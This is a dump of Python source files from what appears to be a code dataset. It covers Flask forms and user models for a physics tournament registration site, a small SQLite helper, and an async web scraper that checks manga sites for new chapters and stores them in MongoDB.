(\" \")\n error_count = error_count + 1\n if self.school_name.data is None or len(self.school_name.data)<1:\n # school name is required\n self.school_name.errors = (\" \")\n error_count = error_count + 1\n if self.address.data is None or len(self.address.data)<1:\n # school name is required\n self.address.errors = (\" \")\n error_count = error_count + 1\n if self.city.data is None or len(self.city.data)<1:\n # school name is required\n self.city.errors = (\" \")\n error_count = error_count + 1\n if self.province.data is None or len(self.province.data)<1:\n # school name is required\n self.province.errors = (\" \")\n error_count = error_count + 1\n if self.postal_code.data is None or len(self.postal_code.data)<1:\n # school name is required\n self.postal_code.errors = (\" \")\n error_count = error_count + 1\n\n if error_count > 0:\n return False\n else:\n return True\n\n\nclass ApproveRegistForm(FlaskForm):\n type = StringField('Registration Person Type')\n label = StringField('Person Status')\n\n submit = SubmitField('Submit')\n\n def validate(self):\n error_count = 0\n if self.type.data is None or len(self.type.data)<1:\n #self.type.errors = (\" \")\n error_count = error_count + 1\n if self.label.data is None or int(self.label.data)<1:\n #self.label.errors = (\" \")\n error_count = error_count + 1\n if error_count > 0:\n return False\n else:\n return True\n\n\nclass JoinTeamForm(FlaskForm):\n \"\"\"create team form.\"\"\"\n\n team_school_id = SelectField('Team School', default=None, validators=[validators.DataRequired('School must be selected')])\n\n team_id = IntegerField('Team ID', validators=[validators.DataRequired()])\n team_name = StringField('Team Name', validators=[validators.DataRequired('Team name is required')])\n\n team_member_id = IntegerField('Team Member ID', default=None)\n team_member_user_id = IntegerField('Team Member User ID', validators=[validators.DataRequired()])\n\n submit = SubmitField('Submit')\n\n def validate(self):\n error_count = 0\n if self.team_school_id.data is None or int(self.team_school_id.data)<1:\n self.team_school_id.errors = (\" \")\n error_count = error_count + 1\n if self.team_id.data is None or int(self.team_id.data)<1:\n # school name is required\n self.team_id.errors = (\" \")\n error_count = error_count + 1\n if error_count > 0:\n #print(\"*********2.1*** total errors: \", error_count)\n return False\n else:\n #print(\"*********2.2***: \", error_count)\n return True\n\n\nclass PpantForm(FlaskForm):\n ppant_id = IntegerField('Participant ID', validators=[validators.DataRequired()])\n role_type = StringField('Role Type')\n last_coi_count = IntegerField('Last COI Count')\n teleconferencing = RadioField('Are you teleconferencing?',\n choices=[('Yes', 'Yes'), ('No', 'No')], default='No'\n )\n juror_experience = RadioField('Have you had any experience as a CaYPT juror before?',\n choices=[('Yes', 'Yes'), ('No', 'No')], default='No'\n )\n is_chair = RadioField('Is Chair',\n choices=[('Yes', 'Yes'), ('No', 'No')], default='No'\n )\n time_slot1 = StringField('Day 1 (Saturday Feb 29th, 2020) 10am - 2pm ')\n time_slot2 = StringField('Day 1 (Saturday Feb 29th, 2020) 2pm - 6pm ')\n time_slot3 = StringField('Day 2 (Saturday Mar 7th, 2020) 10am - 3pm ')\n time_slot4 = StringField('Day 2 (Saturday Mar 7th, 2020) 3pm - 7pm ')\n submit = SubmitField('Save')\n\n\nclass IMForm(FlaskForm):\n protocol = SelectField(choices=[('aim', 'AIM'), ('msn', 'MSN')])\n username = StringField()\n\n\nclass JoinAsJurorForm(FlaskForm):\n \"\"\"create team form.\"\"\"\n\n first_name = StringField('First name', validators=[validators.DataRequired('First name is required')])\n last_name = StringField('Last name', validators=[validators.DataRequired('Last name is required')])\n dob = DateField('Date of Birth', validators=[validators.DataRequired()])\n institution = StringField('Institution', validators=[validators.DataRequired()])\n\n coi_teams = None\n coi_members = None\n # im_accounts = FieldList(FormField(IMForm))\n choices = [(1, 'one'),\n (2, 'two'),\n (3, 'tree')]\n # resident = MultiCheckboxField('Label', choices=choices, coerce=int)\n\n participant_id = IntegerField('Participant ID')\n participant_user_id = IntegerField('Participant User ID', validators=[validators.DataRequired()])\n participant_role_type = StringField('Participant Role Type', default='Juror')\n # participant_has_coi = BooleanField('Has Conflict of Interest?', default='checked')\n # in html {{ render_field(form.participant_has_coi, tabindex=310, checked=\"checked\") }}\n participant_has_coi = RadioField('Has Conflict of Interest?', choices=[('0', 'No'), ('1', 'Yes')], default=1)\n\n team_school_id = SelectField('Team School', default=None)\n team_school_name = StringField('Team School Name')\n team_school_address = StringField('Team School Address')\n team_school_country = SelectField('Team School Country', choices=[('CA', 'Canada')])\n team_school_province = SelectField('Team School Province',\n choices=[('AB', 'Alberta'), ('BC', 'British Columbia'), ('MB', 'Manitoba'), ('NB', 'New Brunswick'),\n ('NL', 'Newfoundland and Labrador'), ('NS', 'Nova Scotia'), ('ON', 'Ontario'), ('NT', 'Northwest Territories'),\n ('NU', 'Nunavut'), ('PE', 'Prince Edward Island'), ('QC', 'Quebec'), ('SK', 'Saskatchewan'), ('YT', 'Yukon')]\n )\n team_school_city = StringField('Team School City')\n team_school_zipcode = StringField('Team School Postal Code')\n\n team_id = IntegerField('Team ID', validators=[validators.DataRequired()])\n team_name = StringField('Team Name', validators=[validators.DataRequired('Team name is required')])\n\n team_member_id = IntegerField('Team Member ID', default=None)\n team_member_user_id = IntegerField('Team Member User ID', validators=[validators.DataRequired()])\n\n submit = SubmitField('Submit')\n\n def validate(self):\n # tmp_school_id = 0 #self.team_school_name\n if self.participant_user_id is None:\n #print(type(\"***********form, something wrong\", self.participant_user_id))\n return False\n else:\n return True\n\n\nclass EventPlanForm(FlaskForm):\n \"\"\"create team form.\"\"\"\n\n teams_total_number = IntegerField('Total # of Teams ')\n teams_mini_number = IntegerField('Minimum # of Teams (must be 6 or more teams) ', validators=[validators.DataRequired()], default=6)\n pair_number_of_teams_per_pair = IntegerField('Number of Teams per Pair', validators=[validators.DataRequired()], default=2)\n rounds_total_number = IntegerField('Total # of Rounds for Selective Matches', validators=[validators.DataRequired()], default=5)\n rooms_for_each_round = IntegerField('Total # of Rooms for each round', validators=[validators.DataRequired()], default=4)\n max_re_do_times = IntegerField('Maximum Number of Tries', validators=[validators.DataRequired()], default=15)\n max_repeated_rooms = IntegerField('Ideally each team will not repeat the same room more than ? times', validators=[validators.DataRequired()], default=2)\n last_round_repeatable = RadioField('Allow last round repeatable?', choices=[('0', 'No'), ('1', 'Yes')], default=0)\n accept_proposal = RadioField('Do you want to save the proposal?', choices=[('0', 'No'), ('1', 'Yes')], default=0)\n\n submit = SubmitField('Generate Plan')\n accept = SubmitField('Save Plan')\n activate = SubmitField('Accept and Activate Plan')\n deactivate = SubmitField('De-Activate Plan (change status to proposed)')\n release = SubmitField('Release (freeze plan)')\n\n def validate(self):\n # tmp_school_id = 0 #self.team_school_name\n if self.teams_total_number is None:\n return False\n else:\n return True\n\n\nclass EventStageForm(FlaskForm):\n \"\"\"create team form.\"\"\"\n\n current_room_code = IntegerField('Room No.')\n current_round_code = IntegerField('Round No.')\n current_stage_code = IntegerField('Stage No.')\n current_plan_id = IntegerField('Plan Id')\n current_pair_id = IntegerField('Pair Id')\n reporter = StringField('Reporter Member ID--Name')\n opponent = StringField('Opponent Member ID--Name')\n reviewer = StringField('Reviewer Member ID--Name')\n team1 = IntegerField('Team No.1')\n team2 = IntegerField('Team No.2')\n team2 = IntegerField('Team No.3')\n submit = SubmitField('Submit')\n\n\nclass EventFinalPlanForm(FlaskForm):\n \"\"\"create team form.\"\"\"\n fm_room_code = IntegerField('FM Room No.')\n fm_round_code = IntegerField('FM Round No.')\n current_stage_code = IntegerField('Stage No.')\n fm_plan_id = IntegerField('FM Plan Id')\n activate = SubmitField('Accept and Activate Plan')\n deactivate = SubmitField('De-Activate Plan (change status to proposed)')\n release = SubmitField('Release (freeze plan)')\n", "id": "10617145", "language": "Python", "matching_score": 4.753690719604492, "max_stars_count": 0, "path": "app/forms/app_forms.py" }, { "content": "# Copyright 2019 Stemfellowship\r\n#\r\n# Authors: <NAME>\r\n\r\nfrom flask_user import UserMixin\r\nfrom flask_user.forms import RegisterForm\r\nfrom flask_wtf import FlaskForm\r\nfrom wtforms import StringField, SubmitField, validators, DateField, SelectField, TextField, TextAreaField\r\nfrom app import db\r\n\r\n\r\n# Define the User data model. Make sure to add the flask_user.UserMixin !!\r\nclass User(db.Model, UserMixin):\r\n __tablename__ = 'users'\r\n id = db.Column(db.Integer, primary_key=True)\r\n\r\n # User authentication information (required for Flask-User)\r\n email = db.Column(db.Unicode(255), nullable=False, server_default=u'', unique=True)\r\n email_confirmed_at = db.Column(db.DateTime())\r\n password = db.Column(db.String(255), nullable=False, server_default='')\r\n # reset_password_token = db.Column(db.String(100), nullable=False, server_default='')\r\n # active = db.Column(db.Boolean(), nullable=False, server_default='0')\r\n\r\n # User information\r\n active = db.Column('is_active', db.Boolean(), nullable=False, server_default='0')\r\n first_name = db.Column(db.Unicode(50), nullable=False, server_default=u'')\r\n last_name = db.Column(db.Unicode(50), nullable=False, server_default=u'')\r\n institution = db.Column(db.String(255), nullable=False)\r\n dob = db.Column(db.DateTime, nullable=False)\r\n pnumber = db.Column(db.String(30), nullable=False)\r\n background = db.Column(db.String(255), nullable=False)\r\n dietary_restriction = db.Column(db.String(255), nullable=False)\r\n tshirt_size = db.Column(db.String(20), nullable=False)\r\n mailing_address = db.Column(db.String(255))\r\n physics_background = db.Column(db.String(255)) # Relationships\r\n roles = db.relationship('Role', secondary='users_roles',\r\n backref=db.backref('users', lazy='dynamic'))\r\n\r\n\r\n# Define the Role data model\r\nclass Role(db.Model):\r\n __tablename__ = 'roles'\r\n id = db.Column(db.Integer(), primary_key=True)\r\n name = db.Column(db.String(50), nullable=False, server_default=u'', unique=True) # for @roles_accepted()\r\n label = db.Column(db.Unicode(255), server_default=u'') # for display purposes\r\n\r\n\r\n# Define the UserRoles association model\r\nclass UsersRoles(db.Model):\r\n __tablename__ = 'users_roles'\r\n id = db.Column(db.Integer(), primary_key=True)\r\n user_id = db.Column(db.Integer(), db.ForeignKey('users.id', ondelete='CASCADE'))\r\n role_id = db.Column(db.Integer(), db.ForeignKey('roles.id', ondelete='CASCADE'))\r\n\r\n\r\n# # Define the User registration form\r\n# # It augments the Flask-User RegisterForm with additional fields\r\nclass CustomRegisterForm(RegisterForm):\r\n first_name = StringField('First name', validators=[\r\n validators.DataRequired('First name is required')])\r\n last_name = StringField('Last name', validators=[\r\n validators.DataRequired('Last name is required')])\r\n dob = DateField('Date of birth (yyyy-mm-dd)', validators=[\r\n validators.DataRequired('Date of birth is required')])\r\n pnumber = StringField('Phone number', validators=[\r\n validators.DataRequired('Phone number is required')])\r\n institution = StringField('Institution', validators=[\r\n validators.DataRequired('Institution is required')])\r\n physics_background = TextAreaField('Physics background (Maximum 250 characters)')\r\n mailing_address = TextAreaField('Mailing address', validators=[\r\n validators.DataRequired('Mailing address is required')])\r\n dietary_restriction = StringField('Health and Dietary Concerns')\r\n tshirt_size = SelectField('T-shirt size',\r\n choices=[('XS', 'Extra Small'), ('S', 'Small'), ('M', 'Medium'), ('L', 'Large'), ('XL', 'Extra Large')])\r\n background = SelectField('Education Background',\r\n choices=[('10', 'Middle School'), ('12', 'High School'), ('20', 'Under Graduate or above')]\r\n )\r\n submit = SubmitField('Submit and Accept Terms')\r\n\r\n\r\n# Define the User profile form\r\nclass UserProfileForm(FlaskForm):\r\n first_name = StringField('First name', validators=[\r\n validators.DataRequired('First name is required')])\r\n last_name = StringField('Last name', validators=[\r\n validators.DataRequired('Last name is required')])\r\n dob = DateField('Date of birth (yyyy-mm-dd)', validators=[\r\n validators.DataRequired('Date of birth is required')])\r\n pnumber = StringField('Phone number', validators=[\r\n validators.DataRequired('Phone number is required')])\r\n institution = StringField('Institution', validators=[\r\n validators.DataRequired('Institution is required')])\r\n physics_background = TextAreaField('Physics Background (Maximum 250 characters)')\r\n mailing_address = TextAreaField('Mailing address', validators=[\r\n validators.DataRequired('Mailing address is required')])\r\n background = SelectField('Education Background',\r\n choices=[('10', 'Middle School'), ('12', 'High School'), ('20', 'Under Graduate or above')]\r\n )\r\n dietary_restriction = StringField('Health and Dietary Concerns')\r\n tshirt_size = SelectField('T-shirt size',\r\n choices=[('XS', 'Extra Small'), ('S', 'Small'), ('M', 'Medium'), ('L', 'Large'), ('XL', 'Extra Large')]\r\n )\r\n\r\n submit = SubmitField('Save')\r\n\r\n\r\nclass CustomUserProfileForm(UserProfileForm):\r\n institution = StringField('Institution')\r\n dob = DateField('Date of birth')\r\n", "id": "12501555", "language": "Python", "matching_score": 0.3661366403102875, "max_stars_count": 0, "path": "app/models/user_models.py" }, { "content": "import sqlite3\nimport datetime\nimport pandas as pd\n\n\n# Add a new record\nfrom flask_login import current_user\n\n\ndef add_book(title, price, author_fname, author_lname, app_db_web_location):\n # connect to db\n conn = sqlite3.connect(app_db_web_location)\n print(conn)\n # get timestamp\n curr_timestamp = str(datetime.datetime.now().timestamp())\n # create a cursor\n c = conn.cursor()\n c.execute(\"INSERT INTO books (title, price, author_fname, author_lname, created_date) \"\n \"VALUES (?,?,?,?,?)\", (title, price, author_fname, author_lname, curr_timestamp))\n conn.commit()\n conn.close()\n\n\n# Assignment: update the book\n\n\n# Display all data\ndef show_all(app_db_web_location):\n # connect to db\n conn = sqlite3.connect(app_db_web_location)\n # create a cursor\n c = conn.cursor()\n c.execute(\"SELECT * FROM books\")\n items = c.fetchall()\n for item in items:\n print(item)\n conn.commit()\n conn.close()\n return items\n", "id": "7418281", "language": "Python", "matching_score": 0.6936458945274353, "max_stars_count": 0, "path": "app/models/db_functions.py" }, { "content": "from flask import * \r\napp = Flask(__name__) \r\n\r\n@app.route('/') \r\ndef chartwithXY():\r\n data = { 10: 30, 20: 40, 30: 50, 40:70, 50: 80 } \r\n return render_template('index.html',data=data) \r\n\r\n\r\nif __name__ == '__main__': \r\n app.run() ", "id": "5466692", "language": "Python", "matching_score": 0.03377528116106987, "max_stars_count": 0, "path": "app.py" } ]
1.745545
davekolian
[ { "content": "#####################################################################\n# All rights reserved to davekolian #\n#####################################################################\n\nimport pymongo\nfrom lxml import html\nimport requests\nimport time\n# from requests_html import AsyncHTMLSession\nimport datetime\nimport sys\nfrom configparser import ConfigParser\nimport asyncio\nimport nest_asyncio\n\nnest_asyncio.apply()\n\nlst_not_read_dicts = []\nnot_read = []\ndocument_count = 1\n\n\n# Functions which scrape the websites to find which chapters have been newly released\n\nasync def find_manga_mangakakalot(url):\n await asyncio.sleep(1)\n global not_read\n global document_count\n global error_urls\n\n page = requests.get(url)\n tree = html.fromstring(page.content)\n\n manga = tree.xpath('//ul[@class=\"manga-info-text\"]/li/h1/text()')\n chap = tree.xpath('//div[@class=\"row\"]/span/a/text()')\n times = tree.xpath('//div[@class=\"row\"]/span/text()')\n imgs_srcs = tree.xpath('//div[@class=\"manga-info-pic\"]/img/@src')\n links = tree.xpath('//div[@class=\"row\"]/span/a/@href')\n\n if page.status_code == 200 and manga:\n times = [times[i] for i in range(1, len(times), 2)]\n\n # Cleaning the manga's name\n manga_clean = str(manga)[2:-2]\n\n if \" \" not in manga_clean:\n manga_clean += \" \"\n\n chap_clean = []\n\n # Gets the exact Chapter number\n for x in range(0, len(chap)):\n start_chapter = chap[x].find(\"Chapter\")\n if \":\" in chap[x]:\n end_line = chap[x].find(\":\")\n chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n else:\n chap_clean.append(str(chap[x][start_chapter + 8:]))\n\n # Adding the required manga name and index num into the not_read array\n for x in range(0, len(times)):\n if \"day\" in times[x] or \"days\" in times[x]:\n if int(str(times[x][0:1])) < 2:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n elif \"hour\" in times[x] or \"hours\" in times[x]:\n if int(str(times[x][0:2])) < 24:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n elif \"mins\" in times[x] or \"min\" in times[x] or \"minutes\" in times[x] or \"minute\" in times[x]:\n if int(str(times[x][0:1])) < 60:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n\n # Adding the required chapters and their links into array form for MongoDB\n list_of_chaps = []\n list_of_chap_links = []\n\n for x in range(0, len(times)):\n if \"day\" in times[x] or \"days\" in times[x]:\n if int(str(times[x][0:1])) < 2:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n elif \"hour\" in times[x] or \"hours\" in times[x]:\n if int(str(times[x][0:2])) < 24:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n elif \"mins\" in times[x] or \"min\" in times[x] or \"minutes\" in times[x] or \"minute\" in times[x]:\n if int(str(times[x][0:1])) < 60:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n\n if list_of_chaps:\n not_read.extend([list_of_chaps, list_of_chap_links])\n\n # Appending the new chapters into the dictionary\n if not_read:\n new_document = {\n 'record_id': not_read[1],\n 'manga_name': not_read[2],\n 'manga_chapters': not_read[3],\n 'img_link_bg': imgs_srcs[0],\n 'chapter_links': not_read[4]\n }\n\n lst_not_read_dicts.append(new_document)\n\n not_read = []\n\n\nasync def find_manga_manganelo(url):\n await asyncio.sleep(1)\n global not_read\n global document_count\n global error_urls\n\n page = requests.get(url)\n tree = html.fromstring(page.content)\n\n manga = tree.xpath('//div[@class=\"story-info-right\"]/h1//text()')\n chap = tree.xpath('//a[@class=\"chapter-name text-nowrap\"]/text()')\n dates = tree.xpath('//span[@class=\"chapter-time text-nowrap\"]/text()')\n imgs_srcs = tree.xpath('//span[@class=\"info-image\"]/img/@src')\n links = tree.xpath('//a[@class=\"chapter-name text-nowrap\"]/@href')\n\n if page.status_code == 200 and manga:\n # Cleaning the manga's name\n manga_clean = str(manga)[2:-2]\n\n if \" \" not in manga_clean:\n manga_clean += \" \"\n\n chap_clean = []\n\n # Removing the 'Chapter' word and getting the chapter number\n for x in range(0, len(chap)):\n if \"Chapter\" in chap[x]:\n start_chapter = chap[x].find(\"Chapter\")\n if \":\" in chap[x]:\n end_line = chap[x].find(\":\")\n chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n elif \" -\" in chap[x]:\n end_line = chap[x].find(\" -\")\n chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n else:\n chap_clean.append(str(chap[x][start_chapter + 8:]))\n else:\n chap_clean.append(\"SC\")\n\n # Adding the required manga name and index num into the not_read array\n for x in range(0, len(dates)):\n if \"day\" in dates[x] or \"days\" in dates[x]:\n if int(str(dates[x][0:1])) < 2:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n if int(str(dates[x][0:2])) < 24:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n if int(str(dates[x][0:1])) < 60:\n not_read.append(\"s\")\n not_read.append(document_count)\n document_count += 1\n not_read.append(manga_clean)\n break\n\n # Adding the required chapters and their links into array form for MongoDB\n list_of_chaps = []\n list_of_chap_links = []\n\n for x in range(0, len(dates)):\n if \"day\" in dates[x] or \"days\" in dates[x]:\n if int(str(dates[x][0:1])) < 2:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n if int(str(dates[x][0:2])) < 24:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n if int(str(dates[x][0:2])) < 60:\n list_of_chaps.append(chap_clean[x])\n list_of_chap_links.append(links[x])\n\n if list_of_chaps:\n not_read.extend([list_of_chaps, list_of_chap_links])\n\n # Appending the new chapters into the dictionary\n if not_read:\n new_document = {\n 'record_id': not_read[1],\n 'manga_name': not_read[2],\n 'manga_chapters': not_read[3],\n 'img_link_bg': imgs_srcs[0],\n 'chapter_links': not_read[4]\n }\n\n lst_not_read_dicts.append(new_document)\n\n not_read = []\n\n\n# async def find_manga_reaperzero(url):\n# await asyncio.sleep(1)\n# global not_read\n# global document_count\n# global error_urls\n#\n# page = requests.get(url)\n# tree = html.fromstring(page.content)\n#\n# manga = tree.xpath('//h5[@class=\"text-highlight\"]/text()')\n# chap = tree.xpath('//span[@class=\"text-muted text-sm\"]/text()')\n# dates = tree.xpath('//a[@class=\"item-company text-muted h-1x\"]/text()')\n# imgs_srcs = tree.xpath('//a[@class=\"media-content\"]/@style')\n# links = tree.xpath('//a[@class=\"item-author text-color \"]/@href')\n#\n# if page.status_code == 200 and manga:\n# # Preparing image links to upload to DB\n# if \"reaper\" in url:\n# if \"reaperscans.com\" in str(imgs_srcs[0]):\n# imgs_srcs = str(imgs_srcs[0]).replace(\"background-image:url(\", \"\")\n# else:\n# imgs_srcs = str(imgs_srcs[0]).replace(\"background-image:url(\", \"https://reaperscans.com\")\n# imgs_srcs = imgs_srcs.replace(\")\", \"\")\n# # else:\n# # if \"zeroscans.com\" in str(imgs_srcs[0]):\n# # imgs_srcs = str(imgs_srcs[0]).replace(\"background-image:url(\", \"\")\n# # else:\n# # imgs_srcs = str(imgs_srcs[0]).replace(\"background-image:url(\", \"https://zeroscans.com\")\n# # imgs_srcs = imgs_srcs.replace(\")\", \"\")\n#\n# # Cleaning the manga's name\n# manga_clean = str(manga)[4:-4]\n#\n# if \" \" not in manga_clean:\n# manga_clean += \" \"\n#\n# # Adding 'Chapter ' infront of the chapter numbers for method to get the numbers accurately (improv)\n# for x in range(0, len(chap)):\n# chap[x] = \"Chapter \" + str(chap[x]).replace(\"\\n\", \"\")\n#\n# # Removing the 'Chapter' word and getting the chapter number\n# chap_clean = []\n#\n# for x in range(0, len(chap)):\n# start_chapter = chap[x].find(\"Chapter\")\n# if \":\" in chap[x]:\n# end_line = chap[x].find(\":\")\n# chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n# else:\n# chap_clean.append(str(chap[x][start_chapter + 8:]))\n#\n# if \" \" in chap_clean[x]:\n# chap_clean[x] = chap_clean[x].replace(\" \", \"\")\n#\n# # Adding the required manga name and index num into the not_read array\n# for x in range(0, len(dates)):\n# if \"day\" in dates[x] or \"days\" in dates[x]:\n# if int(str(dates[x][1:2])) < 2:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n# elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n# if int(str(dates[x][1:2])) < 24:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n# elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n# if int(str(dates[x][0:2])) < 60:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n#\n# # Adding the required chapters and their links into array form for MongoDB\n# list_of_chaps = []\n# list_of_chap_links = []\n#\n# for x in range(0, len(dates)):\n# if \"day\" in dates[x] or \"days\" in dates[x]:\n# if int(str(dates[x][1:2])) < 2:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n# elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n# if int(str(dates[x][1:2])) < 24:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n# elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n# if int(str(dates[x][0:2])) < 60:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n#\n# if list_of_chaps:\n# not_read.extend([list_of_chaps, list_of_chap_links])\n#\n# # Appending the new chapters into the dictionary\n# if not_read:\n# new_document = {\n# 'record_id': not_read[1],\n# 'manga_name': not_read[2],\n# 'manga_chapters': not_read[3],\n# 'img_link_bg': imgs_srcs,\n# 'chapter_links': not_read[4]\n# }\n#\n# lst_not_read_dicts.append(new_document)\n#\n# not_read = []\n\n\n# async def find_manga_mangaplus(url):\n# global not_read\n# global document_count\n#\n# session = AsyncHTMLSession()\n# r = await session.get(url)\n# manga = r.html.xpath('//div[@class=\"post-title\"]/h1/text()')\n# if r.status_code == 200 and manga:\n# await r.html.arender(timeout=7000)\n#\n# chap = r.html.xpath('//li[@class=\"wp-manga-chapter\"]/a/text()')\n# dates = r.html.xpath('//span[@class=\"chapter-release-date\"]/i/text()')\n# imgs_srcs = r.html.xpath('//div[@class=\"summary_image\"]/a/img/@data-src')\n# links = r.html.xpath('//li[@class=\"wp-manga-chapter\"]/a/@href')\n#\n# if len(manga) >= 2:\n# manga_clean = str(manga[1])[7:-20]\n# else:\n# manga_clean = str(manga)[30:-22]\n# # Done just for Lit The Supreme Being which was buggy\n#\n# # Cleaning the manga's name\n# if \" \" not in manga_clean:\n# manga_clean += \" \"\n#\n# # Removing the 'Chapter' word and getting the chapter number\n# chap_clean = []\n#\n# for x in range(0, len(chap)):\n# chap[x] = str(chap[x])[10:-8]\n# start_chapter = chap[x].find(\"Chapter\")\n# if \":\" in chap[x]:\n# end_line = chap[x].find(\":\")\n# chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n# elif \" -\" in chap[x]:\n# end_line = chap[x].find(\" -\")\n# chap_clean.append(str(chap[x][start_chapter + 8:end_line]))\n# else:\n# chap_clean.append(str(chap[x][start_chapter + 8:]))\n#\n# # Adding the required manga name and index num into the not_read array\n# for x in range(0, len(dates)):\n# if \"day\" in dates[x] or \"days\" in dates[x]:\n# if int(str(dates[x][0:1])) < 2:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n# elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n# if int(str(dates[x][0:2])) < 24:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n# elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n# if int(str(dates[x][0:1])) < 60:\n# not_read.append(\"s\")\n# not_read.append(document_count)\n# document_count += 1\n# not_read.append(manga_clean)\n# break\n#\n# # Adding the required chapters and their links into array form for MongoDB\n# list_of_chaps = []\n# list_of_chap_links = []\n#\n# for x in range(0, len(dates)):\n# if \"day\" in dates[x] or \"days\" in dates[x]:\n# if int(str(dates[x][0:1])) < 2:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n# elif \"hour\" in dates[x] or \"hours\" in dates[x]:\n# if int(str(dates[x][0:2])) < 24:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n# elif \"mins\" in dates[x] or \"min\" in dates[x] or \"minutes\" in dates[x] or \"minute\" in dates[x]:\n# if int(str(dates[x][0:2])) < 60:\n# list_of_chaps.append(chap_clean[x])\n# list_of_chap_links.append(links[x])\n#\n# if list_of_chaps:\n# not_read.extend([list_of_chaps, list_of_chap_links])\n#\n# # Appending the new chapters into the dictionary\n# if not_read:\n# new_document = {\n# 'record_id': not_read[1],\n# 'manga_name': not_read[2],\n# 'manga_chapters': not_read[3],\n# 'img_link_bg': imgs_srcs[0],\n# 'chapter_links': not_read[4]\n# }\n#\n# lst_not_read_dicts.append(new_document)\n#\n# not_read = []\n# await session.close()\n\n\n# Function which connects to my database, clears the collection, and updates with new list of of documents\n\ndef clear_and_update_database():\n # Setting up Config Parser for more security, thanks to @bugnounty\n conf_parser = ConfigParser()\n conf_parser.read('db_config.ini')\n connection_url = conf_parser.get('server', 'connection_url')\n db_name = conf_parser.get('server', 'db_name')\n col_name = conf_parser.get('server', 'col_name')\n\n # Connect to the MongoDB Database\n client = pymongo.MongoClient(connection_url)\n my_database = client.get_database(db_name)\n my_collection = my_database.get_collection(col_name)\n\n # Clears the Collection\n my_collection.delete_many({})\n\n # Inserts many documents (containing new manga releases)\n my_collection.insert_many(lst_not_read_dicts)\n\n # Close the connection to the database\n client.close()\n\n\nasync def main_manga():\n # tasks_mp = []\n # url_list = ['https://manhuaplus.com/manga/almighty-master/', 'https://manhuaplus.com/manga/global-martial-arts/',\n # 'https://manhuaplus.com/manga/the-great-ruler/', 'https://manhuaplus.com/manga/the-strongest-god-king/',\n # 'https://manhuaplus.com/manga/rebirth-of-the-urban-immortal-cultivator/',\n # 'https://manhuaplus.com/manga/demon-magic-emperor/', 'https://manhuaplus.com/manga/apotheosis/',\n # 'https://manhuaplus.com/manga/battle-through-the-heavens/',\n # 'https://manhuaplus.com/manga/peerless-battle-spirit/', 'https://manhuaplus.com/manga/versatile-mage/',\n # 'https://manhuaplus.com/manga/tales-of-demons-and-gods/',\n # 'https://manhuaplus.com/manga/lit-the-supreme-being/',\n # 'https://manhuaplus.com/manga/rebirth-city-deity/']\n #\n # for link in url_list:\n # tasks_mp.append(asyncio.create_task(find_manga_mangaplus(link)))\n #\n # await asyncio.gather(*tasks_mp)\n\n # url_list = ['https://reaperscans.com/comics/27937-god-of-blackfield',\n # 'https://reaperscans.com/comics/316621-the-great-mage-returns-after-4000-years',\n # 'https://reaperscans.com/comics/917294-kill-the-hero',\n # 'https://reaperscans.com/comics/563929-limit-breaker',\n # 'https://reaperscans.com/comics/535459-mercenary-enrollment',\n # 'https://reaperscans.com/comics/335355-sss-class-suicide-hunter',\n # 'https://reaperscans.com/comics/147221-superhuman-era',\n # 'https://reaperscans.com/comics/364640-the-tutorial-is-too-hard',\n # 'https://reaperscans.com/comics/326450-the-player-that-cant-level-up',\n # 'https://reaperscans.com/comics/276469-strongest-fighter',\n # 'https://reaperscans.com/comics/507776-return-of-the-frozen-player',\n # 'https://reaperscans.com/comics/585562-arcane-sniper',\n # 'https://zeroscans.com/comics/55416-record-of-the-war-god',\n # 'https://zeroscans.com/comics/133460-yong-heng-zhi-zun',\n # 'https://zeroscans.com/comics/325051-bowblade-spirit',\n # 'https://zeroscans.com/comics/188504-second-life-ranker',\n # 